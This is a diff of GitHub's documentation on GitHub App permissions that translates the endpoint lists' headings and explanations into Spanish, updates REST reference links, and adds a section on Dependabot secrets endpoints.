 {% ifversion fpt or ghes or ghae -%}
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write)
@@ -420,7 +420,7 @@ _Reactions_
 - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write)
 {% endif %}
 
-_Releases_
+_Lanzamientos_
 - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read)
 - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write)
 - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read)
@@ -433,20 +433,20 @@ _Releases_
 - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read)
 - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read)
 
-### Permission on "deployments"
+### Permiso sobre los "despliegues"
 
-- [`GET /repos/:owner/:repo/deployments`](/rest/reference/repos#list-deployments) (:read)
-- [`POST /repos/:owner/:repo/deployments`](/rest/reference/repos#create-a-deployment) (:write)
-- [`GET /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/repos#get-a-deployment) (:read)
+- [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (:read)
+- [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (:write)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#get-a-deployment) (:read)
 {% ifversion fpt or ghes or ghae -%}
-- [`DELETE /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/repos#delete-a-deployment) (:write)
+- [`DELETE /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#delete-a-deployment) (:write)
 {% endif -%}
-- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/repos#list-deployment-statuses) (:read)
-- [`POST /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/repos#create-a-deployment-status) (:write)
-- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/repos#get-a-deployment-status) (:read)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#list-deployment-statuses) (:read)
+- [`POST /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#create-a-deployment-status) (:write)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (:read)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "emails"
+### Permiso sobre los "correos electrónicos"
 
 {% ifversion fpt -%}
 - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write)
@@ -457,7 +457,7 @@ _Releases_
 - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read)
 {% endif %}
 
-### Permission on "followers"
+### Permiso sobre los "seguidores"
 
 - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read)
 - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read)
@@ -465,7 +465,7 @@ _Releases_
 - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write)
 - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write)
 
-### Permission on "gpg keys"
+### Permiso sobre las "llaves gpg"
 
 - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read)
 - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write)
@@ -473,16 +473,16 @@ _Releases_
 - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "interaction limits"
+### Permiso sobre "límites de interacción"
 
 - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read)
 - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write)
 - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write)
 {% endif %}
 
-### Permission on "issues"
+### Permiso sobre los "informes de problemas"
 
-Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues.
+Los informes de problemas y las solicitudes de extracción están estrechamente relacionadas. Para obtener más información, consulta la sección "[Listar informes de problemas asignados al usuario autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)". Si tu GitHub App tiene permisos sobre los informes de problemas pero no los tiene en las solicitudes de extracción, entonces estas terminales se limitaran a los informes de problemas. Se filtrarán las terminales que devuelvan tanto informes de problemas como solicitudes de extracción. Las terminales que permitan operaciones tanto en los informes de problemas como en las solicitudes de extracción se restringirán a los informes de problemas únicamente.
 
 - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read)
 - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write)
@@ -502,17 +502,17 @@ Issues and pull requests are closely related. For more information, see "[List i
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 
-_Assignees_
+_Asignatarios_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_Eventos_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 
-_Labels_
+_Etiquetas_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -524,7 +524,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_Hitos_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -532,7 +532,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_Reacciones_
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read)
@@ -549,15 +549,15 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-### Permission on "keys"
+### Permiso sobre las "llaves"
 
-_Keys_
+_Claves_
 - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read)
 - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write)
 - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read)
 - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write)
 
-### Permission on "members"
+### Permiso sobre los "miembros"
 
 {% ifversion fpt -%}
 - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write)
@@ -592,14 +592,14 @@ _Keys_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-_Invitations_
+_Invitaciones_
 - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read)
 - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write)
 - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read)
 - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read)
 {% endif %}
 
-_Organization members_
+_Miembros de la organización_
 - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write)
 - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read)
 - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write)
@@ -610,13 +610,13 @@ _Organization members_
 - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read)
 - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write)
 
-_Team members_
+_Miembros del equipo_
 - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read)
 - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read)
 - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write)
 - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write)
 
-_Teams_
+_Equipos_
 - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read)
 - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write)
 - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read)
@@ -634,7 +634,7 @@ _Teams_
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read)
 
-### Permission on "organization administration"
+### Permiso sobre la "administración de la oprganización"
 
 - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write)
 {% ifversion fpt -%}
@@ -647,11 +647,11 @@ _Teams_
 - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization events"
+### Permisos para "eventos organizacionales"
 
 - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read)
 
-### Permission on "organization hooks"
+### Permiso sobre los "ganchos de la organización"
 
 - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read)
 - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write)
@@ -660,11 +660,11 @@ _Teams_
 - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write)
 - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write)
 
-_Teams_
+_Equipos_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion ghes %}
-### Permission on "organization pre receive hooks"
+### Permiso sobre los "ganchos de pre-recepción de la organización"
 
 - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read)
 - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read)
@@ -672,7 +672,7 @@ _Teams_
 - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization projects"
+### Permiso sobre los "proyectos de la organización"
 
 - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write)
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
@@ -693,7 +693,7 @@ _Teams_
 - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "organization user blocking"
+### Permiso sobre el "bloqueo de usuarios de la organización"
 
 - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read)
 - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read)
@@ -701,23 +701,23 @@ _Teams_
 - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write)
 {% endif %}
 
-### Permission on "pages"
+### Permiso sobre las "páginas"
 
-- [`GET /repos/:owner/:repo/pages`](/rest/reference/repos#get-a-github-pages-site) (:read)
-- [`POST /repos/:owner/:repo/pages`](/rest/reference/repos#create-a-github-pages-site) (:write)
-- [`PUT /repos/:owner/:repo/pages`](/rest/reference/repos#update-information-about-a-github-pages-site) (:write)
-- [`DELETE /repos/:owner/:repo/pages`](/rest/reference/repos#delete-a-github-pages-site) (:write)
-- [`GET /repos/:owner/:repo/pages/builds`](/rest/reference/repos#list-github-pages-builds) (:read)
-- [`POST /repos/:owner/:repo/pages/builds`](/rest/reference/repos#request-a-github-pages-build) (:write)
-- [`GET /repos/:owner/:repo/pages/builds/:build_id`](/rest/reference/repos#get-github-pages-build) (:read)
-- [`GET /repos/:owner/:repo/pages/builds/latest`](/rest/reference/repos#get-latest-pages-build) (:read)
+- [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (:read)
+- [`POST /repos/:owner/:repo/pages`](/rest/reference/pages#create-a-github-pages-site) (:write)
+- [`PUT /repos/:owner/:repo/pages`](/rest/reference/pages#update-information-about-a-github-pages-site) (:write)
+- [`DELETE /repos/:owner/:repo/pages`](/rest/reference/pages#delete-a-github-pages-site) (:write)
+- [`GET /repos/:owner/:repo/pages/builds`](/rest/reference/pages#list-github-pages-builds) (:read)
+- [`POST /repos/:owner/:repo/pages/builds`](/rest/reference/pages#request-a-github-pages-build) (:write)
+- [`GET /repos/:owner/:repo/pages/builds/:build_id`](/rest/reference/pages#get-github-pages-build) (:read)
+- [`GET /repos/:owner/:repo/pages/builds/latest`](/rest/reference/pages#get-latest-pages-build) (:read)
 {% ifversion fpt -%}
-- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/repos#get-a-dns-health-check-for-github-pages) (:write)
+- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (:write)
 {% endif %}
 
-### Permission on "pull requests"
+### Permiso sobre las "solicitudes de extracción"
 
-Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests.
+Las solicitudes de cambios y las propuestas tienen una relación estrecha. Si tu GitHub App tiene permisos sobre las solicitudes de extracción pero no sobre los informes de problemas, estas terminales se limitarán a las solicitudes de extracción. Se filtrarán las terminales que devuelvan tanto informes de problemas como solicitudes de extracción. Las terminales que permitan operaciones tanto en solicitudes de extracción como en informes de problemas se restringirán a las solicitudes de extracción únicamente.
 
 - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read)
@@ -743,18 +743,18 @@ Pull requests and issues are closely related. If your GitHub App has permissions
 - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write)
 
-_Assignees_
+_Asignatarios_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_Eventos_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write)
 
-_Labels_
+_Etiquetas_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -766,7 +766,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_Hitos_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -774,7 +774,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_Reacciones_
 - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
@@ -792,12 +792,12 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-_Requested reviewers_
+_Revisores solicitados_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write)
 
-_Reviews_
+_Revisiones_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read)
@@ -806,22 +806,22 @@ _Reviews_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read)
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write)
 
-### Permission on "profile"
+### Permiso en "perfil"
 
 - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write)
 
-### Permission on "repository hooks"
+### Permisos sobre los "ganchos del repositorio"
 
-- [`GET /repos/:owner/:repo/hooks`](/rest/reference/repos#list-repository-webhooks) (:read)
-- [`POST /repos/:owner/:repo/hooks`](/rest/reference/repos#create-a-repository-webhook) (:write)
-- [`GET /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/repos#get-a-repository-webhook) (:read)
-- [`PATCH /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/repos#update-a-repository-webhook) (:write)
-- [`DELETE /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/repos#delete-a-repository-webhook) (:write)
-- [`POST /repos/:owner/:repo/hooks/:hook_id/pings`](/rest/reference/repos#ping-a-repository-webhook) (:read)
+- [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (:read)
+- [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (:write)
+- [`GET /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#get-a-repository-webhook) (:read)
+- [`PATCH /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#update-a-repository-webhook) (:write)
+- [`DELETE /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#delete-a-repository-webhook) (:write)
+- [`POST /repos/:owner/:repo/hooks/:hook_id/pings`](/rest/reference/webhooks#ping-a-repository-webhook) (:read)
 - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read)
 
 {% ifversion ghes %}
-### Permission on "repository pre receive hooks"
+### Permiso sobre los "ganchos de pre-recepción del repositorio"
 
 - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read)
@@ -829,7 +829,7 @@ _Reviews_
 - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write)
 {% endif %}
 
-### Permission on "repository projects"
+### Permiso sobre los "proyectos del repositorio"
 
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
 - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write)
@@ -850,11 +850,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read)
 - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write)
 
-_Teams_
+_Equipos_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion fpt or ghec %}
-### Permission on "secrets"
+### Permiso sobre los "secretos"
 
 - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read)
 - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read)
@@ -872,8 +872,26 @@ _Teams_
 - [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (:write)
 {% endif %}
 
+{% ifversion fpt or ghec or ghes > 3.3%}
+### Permiso en "dependabot_secrets"
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (:read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (:write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (:read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (:read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (:write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (:write)
+{% endif %}
+
 {% ifversion fpt or ghes > 3.0 or ghec %}
-### Permission on "secret scanning alerts"
+### Permiso en las "alertas de escaneo de secretos"
 
 - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read)
@@ -881,7 +899,7 @@ _Teams_
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (:read)
 {% endif %}
 
-### Permission on "security events"
+### Permiso sobre los "eventos de seguridad"
 
 - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read)
@@ -902,7 +920,7 @@ _Teams_
 {% endif -%}
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "self-hosted runners"
+### Permiso sobre los "ejecutores auto-hospedados"
 - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read)
 - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write)
 - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read)
@@ -916,25 +934,25 @@ _Teams_
 - [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "single file"
+### Permiso sobre "un archivo"
 
 - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read)
 - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write)
 - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write)
 
-### Permission on "starring"
+### Permiso sobre el "marcar con una estrella"
 
 - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read)
 - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write)
 - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write)
 
-### Permission on "statuses"
+### Permiso sobre los "estados"
 
-- [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) (:read)
-- [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/repos#list-commit-statuses-for-a-reference) (:read)
-- [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/repos#create-a-commit-status) (:write)
+- [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (:read)
+- [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (:read)
+- [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (:write)
 
-### Permission on "team discussions"
+### Permiso sobre los "debates de equipo"
 
 - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read)
 - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write)
